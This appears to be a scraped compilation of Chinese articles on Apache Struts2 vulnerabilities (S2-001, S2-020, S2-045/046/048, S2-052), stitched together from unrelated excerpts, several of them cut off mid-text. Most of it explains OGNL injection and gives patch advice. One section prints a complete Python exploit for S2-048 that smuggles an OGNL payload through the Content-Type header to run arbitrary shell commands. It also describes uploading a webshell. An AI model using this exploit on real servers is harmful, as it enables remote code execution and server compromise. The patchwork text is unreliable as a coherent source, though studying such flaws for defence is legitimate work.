Struts2S2-020漏洞介绍
Struts2漏洞测试书面报告
Struts2漏洞测试书⾯报告Struts2 漏洞测试报告信息化建设处2016年6⽉15⽇Struts2 漏洞测试报告0.前期⼯作准备前期的⼯作主要围绕以下⼏个⽅⾯进⾏:分析从2014年以来Struts2官⽅所披露的⼏个⾼危/重要漏洞的版本号、形成的原因、影响的范围以及修复的建议。
了解乌云知识库⾥对相关漏洞原理的分析对学校218和216⽹段的所有开启“Apache Tomcat/Coyote JSP”服务的IP进⾏扫描,并根据服务器所属的业务,对⽬标IP进⾏分类处理。
0.1Struts2重要漏洞的类型纵观2014年以来Struts2官⽅所披露的各种漏洞,归纳起来,主要有3种类型:“classLoader导致特定环境下的DOS漏洞”、“开启DMI导致的远程代码执⾏漏洞”和“使⽤REST插件导致的远程代码执⾏漏洞”。
本次测试根据此3种类型,选取具有代表性的⼏个重要漏洞进⾏分析。
S2-037[1]:2016年6⽉16⽇,乌云漏洞报告平台,报告了⼀份最新的S2-037漏洞(官⽅⽹站仍未正式更新)。
主要原因是使⽤REST插件导致的远程代码执⾏漏洞,受影响的版本号为2.3.20-2.3.28.1。
S2-032[2]:2016年4⽉21⽇Struts2官⽅发布S2-032漏洞,评级为⾼。
主要原因是在开启动态⽅法调⽤(Dynamic Method Invocation,DMI)的情况下,会被攻击者实现远程代码执⾏攻击,受影响的版本号为2.3.18-2.3.28 ( 2.3.20.2和2.3.24.2除外)。
S2-021/S2-020[3][4]:2014年左右频繁爆发的漏洞类型主要是“classLoader导致特定环境下的DOS漏洞”,受影响的版本号为2.0.0 - 2.3.16.1。
0.2Nmap扫描结果与分类在分析测试之前,由于没有218和216段服务器的相关资料,为了避免盲⽬地进⾏测试,因此,选⽤nmap⼯具,对218和216段(⼀共512个IP)进⾏扫描,从⽽得到所有开启“Apache Tomcat/Coyote JSP”服务的IP地址。
Struts2漏洞利用原理及OGNL机制
Struts2漏洞利⽤原理及OGNL机制Struts2漏洞利⽤原理及OGNL机制研究概述在MVC开发框架中,数据会在MVC各个模块中进⾏流转。
⽽这种流转,也就会⾯临⼀些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态⽽造成的:View层—表现为字符串展⽰数据在页⾯上是⼀个扁平的、不带数据类型的字符串,⽆论数据结构有多复杂,数据类型有多丰富,到了展⽰的时候,全都⼀视同仁的成为字符串在页⾯上展现出来。
数据在传递时,任何数据都都被当作字符串或字符串数组来进⾏。
Controller层—表现为java对象在控制层,数据模型遵循java的语法和数据结构,所有的数据载体在Java世界中可以表现为丰富的数据结构和数据类型,你可以⾃⾏定义你喜欢的类,在类与类之间进⾏继承、嵌套。
我们通常会把这种模型称之为复杂的对象树。
数据在传递时,将以对象的形式进⾏。
可以看到,数据在不同的MVC层次上,扮演的⾓⾊和表现形式不同,这是由于HTTP协议与java的⾯向对象性之间的不匹配造成的。
如果数据在页⾯和Java世界中互相传递,就会显得不匹配。
所以也就引出了⼏个需要解决的问题:1.当数据从View层传递到Controller层时,我们应该保证⼀个扁平⽽分散在各处的数据集合能以⼀定的规则设置到Java世界中的对象树中去。
同时,能够灵活的进⾏由字符串类型到Java中各个类型的转化。
2.当数据从Controller层传递到View层时,我们应该保证在View层能够以某些简易的规则对对象树进⾏访问。
同时,在⼀定程度上控制对象树中的数据的显⽰格式。
我们稍微深⼊思考这个问题就会发现,解决数据由于表现形式的不同⽽发⽣流转不匹配的问题对我们来说其实并不陌⽣。
同样的问题会发⽣在Java世界与数据库世界中,⾯对这种对象与关系模型的不匹配,我们采⽤的解决⽅法是使⽤如hibernate,iBatis等框架来处理java对象与关系数据库的匹配。
现在在Web层同样也发⽣了不匹配,所以我们也需要使⽤⼀些⼯具来帮助我们解决问题。
Struts2系列漏洞起始篇
Struts2系列漏洞起始篇前⾔到⽬前位置struts2的漏洞编号已经到了S2-057,⼀直想系统的学习下Struts2的漏洞,但由于⼯作量较⼤,⼀直搁浅。
最近由于⼯作需要,借此机会来填下坑。
个⼈认为⼀个框架漏洞出来了仅仅看下别⼈分析的⽂章是远远不够,因为这些⽂章往往都只针对个别漏洞,可能框架中还存在类似的漏洞你依然发现不了。
所以我说需要系统的学习下,从框架的源码开始分析它的⼯作流程(当然这⾥我会有所取舍,全部都讲没意义),同时这样也会加深⾃⼰对该框架的理解,之后如果⼀个新的漏洞出来了,你可以仅根据官⽅的公告或变动的代码很简单地还原整个漏洞,同时这样做对代码审计也会有⼀定的帮助。
这是我struts2系列⽂章的第⼀篇,篇幅会⽐较长(实际上分析源码的地⽅我已经省了很多)。
之后我还会写spring、tomcat等系列的漏洞分析⽂章。
准备⼯作我使⽤的是eclipse+struts-core2.1.6,struts2的各版本是由些许区别的,但是⼤致流程都是相同的,这⾥采⽤较⽼的版本是因为S2早期的漏洞都可以在⾥⾯找到,⽅便分析。
Struts2的⼯作流程在原⽣的jsp+servlet项⽬中,常⽤会到Filter过滤器来过滤⼀些参数等等,这⾥struts2就是将⾃⼰的核⼼过滤器配置在web.xml中,这样可以让指定的HTTP请求都经过Struts2。
早期struts2的核⼼过滤器是FilterDispathcer (org.apache.struts2.dispatcher.FilterDispatcher),但是struts2>=2.1.3之后就变为了StrutsPrepareAndExecuteFilter,⽽StrutsPrepareAndExecuteFilter在配置的时候也经常会分开为StrutsPrepareFilter和StrutsExecuteFilter,这是⽅便开发者更加灵活的使⽤,配置信息如下:Filter的执⾏顺序是然配置顺序来的,所以这⾥我们先从StrutsPrepareFilter开始分析。
Struts2远程代码执行漏洞(S2-046)漏洞复现
Struts2远程代码执行漏洞(S2-046)漏洞复现漏洞复现继 3 月 7 日爆发的 S2-045 远程命令执行漏洞风波之后,今日 Struts2 官方发布另一个高危漏洞S2-046,CVE 编号依然是CVE-2017-5638,据官方披露,最新的漏洞与 S2-045 类似,只是攻击字段发生变化。
修复方案依然与S2-045 相同,升级至2.3.32 或者2.5.10.1 版本即可防御针对这两个漏洞攻击。
S2-046Struts2 是一个基于MVC 设计模式的Web 应用框架,它本质上相当于一个 servlet,在MVC 设计模式中,Struts2 作为控制器(Controller) 来建立模型与视图的数据交互。
Struts2 的使用范围及其广泛,国内外均有大量厂商使用该框架。
漏洞描述:据漏洞提交者纰漏,S2-046 的利用条件有以下三个方面:1、系统必须使用Jakarta 插件,检查Struts2 配置文件中是否有以下配置:<constant name =“struts.multipart.parser”value =“jakarta-stream”/>2、上传文件的大小(由Content-LSength 头指定)大于Struts2 允许的最大大小(2GB)3、文件名内容构造恶意的 OGNL 内容。
如果满足以上要求,Struts2 受影响版本将创建一个包含攻击者控制的异常文件名,使用 OGNL 值堆栈来定位错误消息,OGNL 值堆栈将插入任何 OGNL 变量($ {}或%{})作为 OGNL 表达式,然后实现任意代码执行。
目前网络上已披露出针对 S2-046 的 POC漏洞复现:我们在本地搭建环境进行测试:查看 Struts2 的配置文件,发现存在<constant name =“struts.multipart.parser”value =“jakarta-stream”/>Struts2 的配置文件下面进行网站上传测试,构造数据包如下,设定Content-LSength 值大于 2GB,并构造恶意文件名,如下图所示:构造数据包通过响应数据包可看到恶意代码成功执行,攻击成功,如下图所示:代码成功执行。
Struts2多个漏洞简要分析-电脑资料
Struts2多个漏洞简要分析-电脑资料1月份,SEC Cousult发布了一篇关于struts2漏洞的文章,写到4个struts2的最新漏洞,。
一个漏洞可以做远程代码执行,一个漏洞引出了新的远程代码执行,一个漏洞曾经我在blog上发布过(没有投CVE),以及一个之前也曾看到过,但是认为是鸡肋的漏洞。
这篇文章题目叫做《Multiple critical vulnerabilities in Apache Struts2》四个漏洞,本文一个一个的讲一讲它们的前世今生。
Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)新的远程代码执行漏洞,已经分析过它的利用和分析文章,具体地址在这里就不再多讲,我猜想或许就是因为这个漏洞被人爆了出来,才引出了老外发的这篇文章。
Remote command execution in Struts <= 2.3.1 (CookieInterceptor)COOKIE 的远程代码执行,这看起来表面上很嚣张的样子,但其实较少用到,至少默认是不用的,必须要开发人员手工配置某个action才可以攻击,注意是一个单独的action,不懂这个的可以理解为URL。
攻击者可能不知道是具体哪个action启用了这个配置,这会导致增加了漏洞发现的难度。
也许攻击者要扫描所有的action,才能碰巧遇到一个做这样配置的地方。
根据作者的经验,也许攻击者要扫描很多STRUTS2应用,才能遇到一个用到这个技术的应用。
下面的代码是示例:**/T1.jsp可以看到,这是一个只针对testCookie这个action的配置。
由于CookieInterceptor在处理cookiesName时,会遍历cookiesMap,把cookie中的每个key和value做如下:stack.setValue(cookieName, cookieValue);这样的OGNL赋值处理。
浅析Struts2两个安全漏洞的原理、利用与防范
浅析Struts2两个安全漏洞的原理、利用与防范廖文军;朱晓乾;万开【期刊名称】《电子测试》【年(卷),期】2014(000)020【摘要】Structs2 is a web development framework widely applied to website building in large internet companies,the government and financial institutions.As a website bottom template,the whole web system is heavily dependent on its safety.Recently Apache has revealed two security vulnerabilities of Structs2, drawing much attention.This paper introduces Structs2’s basic concept and the forming principle of its two vulnerabilities,illustrates how to utilize them with examples,and concludes with the way to prevent them.%Struts2是一种web开发框架,当前被广泛应用到大型互联网企业、政府及金融机构的网站建设中。
由于Struts2的相对底层性,导致整个web系统对其安全性的依赖程度很高。
近期,Apache公司公布了Struts2的两个安全漏洞,引起业界的高度重视,本文将介绍Struts2的基本概念及这两个漏洞形成的原理,并详细介绍其利用方式及给出利用示例,同时在给出漏洞防范措施的基础上对此类安全问题的防范进行总结和思考。
【总页数】3页(P61-63)【作者】廖文军;朱晓乾;万开【作者单位】上海通用识别技术研究所,201112;上海通用识别技术研究所,201112;上海通用识别技术研究所,201112【正文语种】中文【相关文献】1.浅谈计算机软件安全漏洞原理及防范措施 [J], 罗超2.提高计算机软件安全漏洞原理及防范方法 [J], 周亚峰3.浅析电力通信自动化信息安全漏洞及防范策略 [J], 赵胜4.浅析电力通信自动化信息安全漏洞及防范策略 [J], 丁乙5.计算机网络安全漏洞及防范措施浅析 [J], 郭峰因版权原因,仅展示原文概要,查看原文内容请购买。
s2-052原理
s2-052原理S2-052是指一种计算机安全漏洞,原理是利用Apache Struts 2框架的一个漏洞来执行远程代码。
Apache Struts 2是一个用于构建Web应用程序的开源框架,被广泛使用。
S2-052漏洞是Struts 2框架的一个安全漏洞,其原理是对Struts 2的核心组件——OGNL(Object-Graph Navigation Language)表达式进行了恶意注入。
在受到该漏洞攻击的情况下,攻击者可以构造恶意请求并发送给受影响的服务器。
服务器接收到请求后,会解析请求中的OGNL表达式,并在执行过程中未对其进行充分验证和过滤,导致攻击者可以在服务器上执行任意代码。
通过利用S2-052漏洞,攻击者可以实现远程命令执行,包括任意文件读取、文件删除、命令执行等操作。
这可能导致服务器的敏感数据泄露、系统被入侵、服务被停止等安全问题。
为了修复这个漏洞,Apache Struts 2开发团队发布了针对S2-052漏洞的安全补丁。
用户应该尽快更新Struts 2框架,并确保及时应用最新的安全补丁,以防止受到S2-052漏洞的攻击。
S2-052漏洞的具体原理如下:1. Apache Struts 2框架中的DefaultActionMapper类存在安全问题,攻击者可以通过构造恶意的请求来利用该漏洞。
2. 默认情况下,Struts 2框架使用的是通配符“/*”来匹配URL中的动作(action)。
攻击者可以通过构造特殊的URL,例如“/*/xxx.action”,来绕过框架的安全检查。
3. 在解析请求时,DefaultActionMapper会将URL中的动作部分进行解析。
恶意请求中的动作部分包含OGNL表达式,由${}包裹。
4. OGNL是Struts 2框架中用于动态访问和操作Java对象的表达式语言,可以通过OGNL表达式执行代码。
5. 由于默认配置下Struts 2框架对OGNL表达式的处理不够安全,未对其中的特殊字符进行充分的过滤和验证。
struts2漏洞原理
struts2漏洞原理
Struts2是一种基于Java的开源Web应用框架,它可以帮助开发者快速开发和部署复杂的Web应用程序。
然而,由于Struts2存在一些严重的安全缺陷,攻击者可以利用这些漏洞实施各种攻击,包括远程执行代码、SQL注入和命令注入等。
其中,Struts2远程执行代码漏洞是最为臭名昭著的漏洞之一,该漏洞存在于struts2框架的核心代码里,并且可以通过网络访问执行任意代码,从而导致服务器被完全控制。
攻击者通常通过构造恶意的请求来利用这个漏洞,例如在HTTP请求的头部或参数中插入特殊的代码片段,从而触发struts2的漏洞。
攻击者可以利用这个漏洞执行任意代码,包括删除文件、修改数据、窃取数据等操作。
其原因是,Struts2应用程序在接收到HTTP请求时,会将请求参数转换成Java 对象,并使用一种名为OGNL(Object-Graph Navigation Language)的表达式语言来解析这些对象。
攻击者可以在HTTP请求中注入恶意的OGNL表达式,使其在服务器上执行任意代码。
此外,Struts2还存在一些其他的安全漏洞,包括文件读取漏洞、XSS漏洞和跨站请求伪造(CSRF)漏洞等。
这些漏洞可以通过错误的配置、不安全的代码实现和其他不当的安全实践而导致。
因此,为保障应用程序的安全稳定运行,使用
Struts2开发Web应用程序的开发者需要注意代码的安全性和其他防御性措施的实现。
Struts2漏洞系列之S2-001分析
Struts2漏洞系列之S2-001分析0x00 前⾔最近在学习java的相关漏洞,所以Struts2的漏洞⾃然是绕不开的。
为了更好的理解漏洞原理,计划把Struts2所有的漏洞⾃⼰都做⼀个复现。
并且⾃⼰去实现相关的POC。
相关的环境搭建,以及POC实现细节,参考⽂章我都会尽可能的写清楚。
⽅便⾃⼰记录学习过程的同时,⽅便看⽂章的⼈学习。
0x01 环境搭建⾸先我们从Struts2官⽅提供的历史版本中找到Struts2.0.1的版本进⾏下载,下载地址如下:https:///dist/struts/binaries/然后在解压缩之后的⽬录中我们找到,apps/struts2-showcase-2.0.1.war的包,将其放在我们已经搭建好的servlet容器中。
本⽂中采⽤的Apache Tomcat 9.0.0.M26的版本。
我们将整个war包部署在web的根⽬录,开启web服务器之后。
我们可以看到已经⾃动部署好。
我们访问,http://127.0.0.1:8080/struts2-showcase-2.0.1,将会跳转到http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action。
访问结果如下,说明安装成功。
0x02 漏洞原理分析我们⾸先来了解⼀下Struts2 中的validation机制。
validation依靠validation和workflow两个拦截器。
validation会根据配置的xml⽂件创建⼀个特殊字段错误列表。
⽽workflow则会根据validation的错误对其进⾏检测,如果输⼊有值,将会把⽤户带回到原先提交表单的页⾯,并且将值返回。
反之,在默认情况下,如果控制器没有得到任何的输⼊结果但是有validation验证错误。
那么⽤户将会得到⼀个错误的信息提⽰。
具体可以参考官⽅⽂档中validation的说明。
https:///core-developers/validation.html那么这个机制到底和我们的漏洞有什么关系呢?在WebWork 2.1+ 和 Struts 2中存在⼀个altSyntax的特性,该特性允许⽤户提交OGNL请求,当⽤户提交恶意请求表单,故意触发⼀个validation错误,页⾯被workflow再次返回给⽤户的时候,默认情况下相当于返回%{return_value},我们注⼊的恶意代码,⽐如%{7*7}将会被当做%{%{7*7}}递归执⾏执⾏。
struts2 漏洞原理
struts2 漏洞原理Struts2 是一种开放源代码的 Java Web 应用框架,被广泛应用于构建 Web 应用程序。
然而,Struts2 框架的一个漏洞却给许多应用程序带来了安全隐患。
本文将解释Struts2 漏洞的原理,并提供对于修复漏洞的一些方法。
Struts2 框架漏洞的原理Struts2 框架漏洞源于框架自身的设计缺陷。
设计缺陷使得攻击者可以利用恶意的输入来欺骗 Struts2 框架,从而在应用程序中执行任意的代码。
这种攻击就被称为“远程代码执行攻击”( Remote Code ExecutionAttack )。
Struts2 框架的漏洞主要是由于以下两点原因所导致的:· Struts2 使用了 OGNL (Object-Graph Navigation Language) 来解析 EL (Expression Language) 表达式,但没有正确地对表达式进行过滤,这使得恶意行为成为可能。
· Struts2 框架中的相当一部分功能是通过拦截器来实现的。
攻击者可以利用 Struts2 框架中的拦截器漏洞,绕过应用程序的权限控制来访问关键数据或者执行任意代码。
这两点都是 Struts2 框架漏洞的主因。
攻击者可以利用这两个漏洞来构建恶意的请求,并欺骗 Struts2 框架来执行恶意代码。
导致 Struts2 漏洞的例子为了更好地理解 Struts2 漏洞,可以通过一些例子来说明。
以下是一些可能导致 Struts2 框架漏洞的例子:· 未正确过滤用户输入。
比如在 Struts2 编译以数据表格为基础的应用程序时,如果没有过滤 script 标记,那么攻击者就可以通过执行JavaScript来远程控制代码,这就是远程代码执行攻击。
· XML SSI 漏洞。
攻击者可以通过将恶意代码嵌入到XML 消息中来利用该漏洞。
此漏洞允许攻击者利用Struts2 使用 XML 包含的注入布局中的初始资源解析器来绕过安全检查并完成任意文件读取/写入操作。
Struts2命令执行漏洞
Struts2命令执⾏漏洞Struts2简介Struts2 是 Apache 软件组织推出的⼀个相当强⼤的 Java Web 开源框架,基于MVC 架构Struts2是⼀个运⾏于web容器的表⽰层框架,其核⼼作⽤是帮助我们处理Http请求Struts2帮我们解决了我们需要和Http打交道的众多繁琐的⼯作,这也是Struts2作为分层开发模式中表现层的核⼼所在如何判断⽹站使⽤了Struts框架?⽹站url中以.action 或 do 结尾说明使⽤了struts2框架。
然后使⽤k8⼯具测试,因不知道版本只能⼀个⼀个测试查询struts2漏洞,通过知道创宇⽹站:查询struts2漏洞Struts2漏洞还原攻击⼯具:K8 Struts2⼯具来测试,⽬前该⼯具集成2010年到2018年的⾼危漏洞2018年以后的漏洞就没有更新了2018年以后的Struts2漏洞,使⽤kali中msf最新的Struts2来攻击python代码对Struts2漏洞进⾏攻击s2-045漏洞还原struts2版本:struts-2.3.15.1版本。
环境:本地http://192.168.3.174机器上部署了struts-2.3.15.1输⼊2017 S2-045漏洞:http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action执⾏命令查看服务器上⾯的信息上传⼩马服务器中查看上传⼩马⽂件成功s2-048漏洞还原python2环境⽤法:struts048.py http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action "拼接需要执⾏的命令" struts048.py#!/usr/bin/python# -*- coding: utf-8 -*-import urllib2import httplibdef exploit(url, cmd):payload = "%{(#_='multipart/form-data')."payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."payload += "(#_memberAccess?"payload += "(#_memberAccess=#dm):"payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."payload += "(#ognlUtil.getExcludedPackageNames().clear())."payload += "(#ognlUtil.getExcludedClasses().clear())."payload += "(#context.setMemberAccess(#dm))))."payload += "(#cmd='%s')." % cmdpayload += "(#iswin=(@ng.System@getProperty('').toLowerCase().contains('win')))."payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."payload += "(#p=new ng.ProcessBuilder(#cmds))."payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."payload += "(@mons.io.IOUtils@copy(#process.getInputStream(),#ros))."payload += "(#ros.flush())}"try:headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}request = urllib2.Request(url, headers=headers)page = urllib2.urlopen(request).read()except httplib.IncompleteRead, e:page = e.partialprint(page)return pageif __name__ == '__main__':import sysif len(sys.argv) != 3:print("[*] struts2_S2-048.py <url> <cmd>")else:print('[*] CVE: 2017-9791 - Apache Struts2 S2-048')url = sys.argv[1]cmd = sys.argv[2]print("[*] cmd: %s\n" % cmd)exploit(url, cmd)查看安装atruts2服务器的ipC:\>struts048.py http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action "ipconfig"。
最新2016 Struts2 s2-032远程代码执行分析
Struts2 s2-032远程代码执行分析1. 介绍:Struts 2是Struts的下一代产品,是在struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。
Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。
虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。
4月15号安恒安全研究院在Struts 2上发现了一个严重的远程代码执行漏洞(CVE-2016-3081)2. 漏洞分析前提:开启动态方法调用。
假如动态方法调用已经开启,然后我们要调用对应的login方法的话我们可以通过http://localhost:8080/struts241/index!login.action来执行动态的方法调用。
这种动态方法调用的时候method中的特殊字符都会被替换成空,但是可以通过http://localhost:8080/struts241/index.action?method :login来绕过无法传入特殊字符的限制。
接收到的参数会经过处理存入到ActionMapping的method属性中。
DefaultActionProxyFactory将ActionMappping的method属性设置到ActionProxy 中的method属性(虽然做了escapeEcmaScript,escapeHtml4过滤,但是我们可以通过变量传递方式绕过,具体可以参考poc)。
如下图而DefaultActionInvocation.java中会把ActionProxy 中的method属性取出来放入到ognlUtil.getValue(methodName + “()”,getStack().getContext(), action);方法中执行ognl表达式,如下图3. 沙盒绕过:通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,这样就可以绕过SecurityMemberAccess的限制。
热门框架漏洞题目
热门框架漏洞题目针对热门框架的漏洞题目,这里为您提供了一些相关的信息:1. Spring框架漏洞:Spring Security OAuth2远程命令执行漏洞Spring WebFlow远程代码执行漏洞Spring Data Rest远程命令执行漏洞Spring Messaging远程命令执行漏洞Spring Data Commons远程命令执行漏洞Spring Framework中的XML外部实体(XXE)注入Spring Security认证绕过Spring Framework目录遍历漏洞Spring AMQP中的远程代码执行Spring Boot框架SPEL表达式注入漏洞Spring Data JPA SQL盲注Spring Security未经授权的访问Spring Expression Language SPEL表达式注入漏洞2. ThinkPHP框架漏洞:在之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by后的参数时,未正确过滤处理数组的key值所造成。
3. Struts2框架漏洞:S2-053:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
S2-057:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。
S2-061:对S2-059的沙盒绕过。
以上信息仅供参考,建议查阅安全领域的专业书籍或咨询安全领域专家以获取更准确全面的信息。
Apache structs2安全漏洞
一、漏洞概述漏洞名称:Apache Struts Multiple Remote Command Execution VulnerabilitiesApache Struts 远程命令执行漏洞受影响范围:Apache Struts2 2.3.15.1 以前版本(不含)漏洞简单介绍:CVE ID: CVE-2013-2251Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。
设计此机制的目的是为了向表单中的按钮添加导航信息。
在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。
因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。
各关键字的含义如下:action - 表示把表达式的执行结果作为Action来处理redirect - 表示把表达式的结果作为重定向的URL来强制客户端跳转(302跳转)redirectAction - 表示把表达式的结果后追加一个.action后作为重定向的URL来强制客户端跳转(302跳转)参考链接:/vulndb/24131/bid/61189/discuss/release/2.3.x/docs/s2-016.html二、检测与利用方法通过这种框架开发的网站的链接基本都是以action结尾的文件,比如测试链接:/home.action等。
1. 漏洞检测方法:使用如下测试链接,如果存在问题,会返回对应的HTTP状态码。
示例:/home.action?action:%25{'exploit'} 返回404错误/home.action?redirect:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12/home.action?redirectAction:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12.action2、利用漏洞执行命令方法:这里调用系统命令whoami来查询服务器的当前用户名,由于采用的是redirect关键字,页面将会重定向到由该关键字对应的OGNL表达式执行结果所指向的页面,在这个示例中,跳转的目标页面的URL就是当前用户名。
【Struts2-命令-代码执行漏洞分析系列】S2-001
struts.xml:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "/dtds/struts-2.0.dtd"> <struts> <package name="s2-001" extends="struts-default"> <action name="login" class="com.test.LoginAction"> <result name="success">/success.jsp</result> <result name="error">/index.jsp</result> </action> </package> </struts>
前言
最近学习java安全,在分析s2-001的时候发现了一些问题和心得。 一方面网上关于s2-001的漏洞分析很少,基本上都是poc+利用而已。 另一方面在调试过程中感觉apache官方通告有不准确的地方,这点见后面的一点说明部分。 有不准确的地方望各位师傅指出,谢谢。
漏洞信息
漏洞信息页面: https:///confluence/display/WW/S2-001 漏洞成因官方概述:Remote code exploit on form validation error 漏洞影响:
struts2漏洞集合
struts2漏洞集合('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_S class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+ng.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@ng.Runtime@getRuntime().exec(a=1${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@ng.Runtime@getRuntime().exec('aaaaaaaaaaaaaaaaaaa').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReade redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new ng.ProcessBuilder('aaaaaaaaaaaaaaaaaaa'.toString().split('\\s'))).start().getInp debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#req=@org.apache.struts2.ServletActionContext@getRequ class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.classLoader.resources.context.parent.pipeline.first.suffix=.jsp2.访问下⾯的url来触发tomcat切换log(这⾥有个坑,这个属性必须是数字,这⾥设定为1),那么从此开始tomcat的access log将被记录⼊ webapps/ROOT/shell1.jsp中class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=13.通过发包访问下⾯的请求,在access log中植⼊代码/aaaa.jsp?a=<%Runtime.getRuntime().exec("calc");%>4.结合前⾯设定的参数,访问下⾯的url,观察shell执⾏http://127.0.0.1/shell1.jsp[+]7 S2-032 CVE-2016-3081method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encodin /(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@java [+]9 devMode CVE-xxxx-xxxxdebug=browser&object=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)(#context[#parameters.rpsobj[0]].getWriter().println(@mons.io.IOUtils@toString(@ng.Runtime@g [+] S2-045 CVE-2017-5638Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10import requestsimport sysheader = dict()header['Content-Type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.Actio result = requests.get(sys.argv[1], headers=header)print result.content[+] S2-046 CVE-2017-5638Apache Struts 2 2.3.32之前的2 2.3.x版本和2.5.10.1之前的2.5.x版本#!/bin/bashurl=$1cmd=$2shiftshiftboundary="---------------------------735323031399963166993862150"content_type="multipart/form-data; boundary=$boundary"payload=$(echo"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContex printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n""$payload" | curl "$url" -H "Content-Type: $content_type" -H。
Seebug漏洞平台2016年度报告
多,但这些防护并不能彻底防范跨站脚本攻击。
2016 年 Seeebug 收录漏洞类型 TOP10
1200 1000
1070
800
600
400
200
142
134
102
97
90
88
88
71
59
0
从上表中还可以看出弱密码和信息泄露漏洞也十分常见,通过后台统计发 现,大部分是路由器、摄像头、工控设备的漏洞。随着科技的发展,智能 设备的使用也越来越广泛,如何保证物联网安全越来越被安全研究人员所 重视。
Seebug 漏洞平台 洞悉漏洞 让你掌握第一手漏洞情报
-1-
Seebug 漏洞平台 2016 年度报告
一、概述
Seebug 原名 Sebug,最初于 2006 年上线,作为国内最早、最权威的 漏洞库为广大用户提供了一个漏洞参考、分享与学习平台。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Struts2 S2-020漏洞简介
1.漏洞概述
今年二月初,Apache Tomcat项目组委员会成员Mark Thomas提到CVE-2014-0050漏洞本是通过JPCERT上报给Apache软件基金会,但是由于处理邮件失误,导致漏洞细节泄露,使得这个问题提前曝光。
随后在三月,Apache 官方公布了S2-020漏洞公告,公告里简要描述了该漏洞形成的原因和临时解决方案。
在官方这个通告公布的一段时间后,各大厂商已经采取了相应的安全措施去解决或预防这个漏洞。
但在不久之后,在SecurityFocus、Spiderlabs等安全网站上又披露了CVE-2014-0094漏洞修补方案本身存在漏洞,导致补丁被完全绕过,造成更大的危害。
近日,官方在GitHub上已经对该问题做出了修正,但随后发现该修正方案也可绕过。
2.漏洞危害
